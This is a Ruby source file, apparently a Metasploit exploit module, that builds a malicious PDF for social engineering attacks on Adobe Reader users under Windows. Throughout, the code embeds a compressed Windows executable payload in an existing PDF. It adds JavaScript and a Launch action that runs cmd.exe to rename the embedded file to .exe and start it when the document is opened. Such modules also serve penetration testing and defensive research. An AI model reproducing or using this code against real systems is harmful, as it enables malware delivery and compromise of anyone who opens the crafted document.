require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  
  include Msf::Exploit::PDF_Parse
  include Msf::Exploit::FILEFORMAT


  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Adobe PDF Embedded EXE Social Engineering',
      'Description'   => %q{
        This module embeds a Metasploit payload into an existing PDF file. The
      resulting PDF can be sent to a target as part of a social engineering attack.
      },
      'License'  => MSF_LICENSE,
      'Author'  => [ 'Colin Ames <amesc[at]attackresearch.com>' ],
      'Payload'  => 
        {
          'Space'          => 2048,
          'DisableNops'    => true,
          'StackAdjustment'  => -3500,
        },
      'Platform'  => 'win',
      'Targets'  =>
        [
          [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
        ],
      'DefaultTarget'  => 0))
    
    register_options(
      [
        OptString.new('INFILENAME', [ false, 'The Input PDF filename.', 'msf.pdf']),
        OptString.new('EXENAME', [ false, 'The Name of payload exe.', '']),
        OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
        OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),
      ], self.class)
  end
      
  def exploit

    file_name = datastore['INFILENAME']
    exe_name = datastore['EXENAME']
    
    print_status("Reading in '#{file_name}'...")
    stream = read_pdf()
    print_status("Parsing '#{file_name}'...")
    pdf_objects = parse_pdf(stream)
    print_status("Parsing Successful.")
    xref_trailers   = pdf_objects[0]
    trailers  = pdf_objects[1]
    startxrefs  = pdf_objects[2]
    root_obj  = pdf_objects[3]

    
    output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
    
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(output)
  end


  def ef_payload(pdf_name,payload_exe,obj_num)
  
    if payload_exe.empty?
      print_status("Using '#{datastore['PAYLOAD']}' as payload...")
    
      payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)
      file_size = payload_exe.length
      stream = Rex::Text.zlib_deflate(payload_exe)
      md5 = Rex::Text.md5(stream)

    else
      print_status("Using '#{datastore['EXENAME']}' as payload...")

      file_size = File.size(payload_exe)
      stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
      md5 = Rex::Text.md5(File.read(payload_exe))
    
    end
    
    output = String.new()
    
    output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
    output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


    return output
  end
  
  def js_payload(pdf_name,obj_num)

    output = String.new()
    output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
    output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C (if exist \"%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\My Documents\"))&(if exist \"%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\Desktop\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%& cd \"My Documents\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%&cd Desktop))&&(ren #{pdf_name}.pdf #{pdf_name}.exe&start #{pdf_name}.exe))>>>>\rendobj\r"

    return output

  end


  def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
    
    file_name = file_name.split(/\//).pop.to_s

    match = file_name.match(/(.+)\.pdf/)
    if match
      pdf_name = match[1]
    end
  
    catalog = parse_object(xref_trailers,root_obj,stream)


    match = catalog.match(/Names (\d+ \d) R/m)
    if match
      
      names = parse_object(xref_trailers,match[1],stream)
      match = names.match(/EmbeddedFiles (\d+ \d) R/m)
      if match
        embedded_files = parse_object(xref_trailers,match[1],stream)
        new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
      else
        new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
      end

    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
    end

    if catalog.match(/OpenAction/m)

      match = catalog.match(/OpenAction (\d+ \d) R/m)
      if match
        open_action = "#{match[1]} R"
      
        if new_catalog
          if new_embedded_files
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
          elsif new_names
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
          else
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
          end
        else
          if new_embedded_files
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
          elsif new_names
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
          else
            new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
          end

        end
      else
        if new_catalog
          new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        else
          new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        end
      end
    else  
      if new_catalog
        if new_embedded_files
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
        elsif new_names
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        else
          new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        end
    
      else
        if new_embedded_files
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
        elsif new_names
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
        else
          new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
        end
      end
    end



    pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
    pages = parse_object(xref_trailers,pages_obj,stream)
  
    page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
    page = parse_object(xref_trailers,page_obj,stream)
    
    match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    while match
      
      page_obj = match[1]
      page = parse_object(xref_trailers,page_obj,stream)
      match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    end
  
    match = page.match(/AA<<\/O (\d+ \d) R/m)
    if match
      aa = parse_object(xref_trailers,match[1],stream)
    end
    

    new_pdf = String.new()
    xrefs = String.new()


    if new_embedded_files
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i - 1
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload 
      
      xrefs = xref_create(new_pdf,stream.length,"*")
      
      new_size = trailers[0].fetch("Size").to_i + 4
      
      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  
      
      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  

      new_pdf << new_embedded_files
      xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
  
      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    elsif new_names
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i
      pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload 
      
      xrefs = xref_create(new_pdf,stream.length,"*")
      
      new_size = trailers[0].fetch("Size").to_i + 5
      
      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  
      
      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  
      
      new_pdf << new_names
      xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")  
    
      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  
  
    else
      pdf_payload = String.new()
      num = trailers[0].fetch("Size").to_i + 1
      pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
      pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name,exe_name,num)
      pdf_payload << js_payload(pdf_name,num)
      new_pdf << stream << pdf_payload 
      xrefs = xref_create(new_pdf,stream.length,"*")
      
      new_size = trailers[0].fetch("Size").to_i + 6
      
      if aa
        new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
      end
      
      new_pdf << new_catalog
      xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  
      
      new_pdf << new_page
      xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  
      
      if trailers[0].has_key?("ID")
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  
  
    end
    
  
    return new_pdf
  end
end